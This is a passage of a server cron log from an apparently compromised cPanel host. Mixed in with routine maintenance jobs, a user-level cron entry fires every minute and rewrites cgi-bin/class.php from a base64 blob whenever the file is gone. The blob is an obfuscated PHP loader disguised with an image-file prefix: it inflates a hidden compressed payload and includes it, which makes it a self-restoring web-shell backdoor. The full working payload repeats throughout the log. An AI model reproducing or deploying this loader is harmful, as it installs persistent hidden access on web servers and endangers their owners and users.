g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:01:01 server run-parts(/etc/cron.hourly)[8892]: starting 0anacron
Aug 31 08:01:01 server run-parts(/etc/cron.hourly)[8912]: finished 0anacron
Aug 31 08:02:01 server CROND[9283]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:02:01 server CROND[9284]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:02:01 server CROND[9285]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:03:01 server CROND[9657]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:03:01 server CROND[9658]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:03:01 server CROND[9659]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:04:01 server CROND[10038]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:04:01 server CROND[10039]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:04:01 server CROND[10041]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:05:01 server CROND[10424]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Aug 31 08:05:01 server CROND[10425]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 08:05:01 server CROND[10431]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:05:01 server CROND[10433]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:05:01 server CROND[10435]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 08:05:01 server CROND[10437]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 08:05:01 server CROND[10438]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 08:05:01 server CROND[10432]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:05:01 server CROND[10434]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 08:06:01 server CROND[11387]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:06:01 server CROND[11388]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:06:01 server CROND[11390]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:07:01 server CROND[11769]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:07:01 server CROND[11768]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:07:01 server CROND[11770]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:08:01 server CROND[12147]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:08:01 server CROND[12148]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:08:01 server CROND[12149]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:09:01 server CROND[12570]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 08:09:01 server CROND[12571]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:09:01 server CROND[12569]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:09:01 server CROND[12572]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:10:01 server CROND[12964]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 08:10:01 server CROND[12966]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 08:10:01 server CROND[12969]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 08:10:01 server CROND[12971]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 08:10:01 server CROND[12976]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:10:01 server CROND[12978]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:10:01 server CROND[12982]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:10:01 server CROND[12979]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 08:11:01 server CROND[13899]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:11:01 server CROND[13900]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:11:01 server CROND[13901]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:12:01 server CROND[14284]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:12:01 server CROND[14286]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 08:12:01 server CROND[14287]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:12:01 server CROND[14285]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:13:01 server CROND[14657]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:13:01 server CROND[14658]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:13:01 server CROND[14659]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
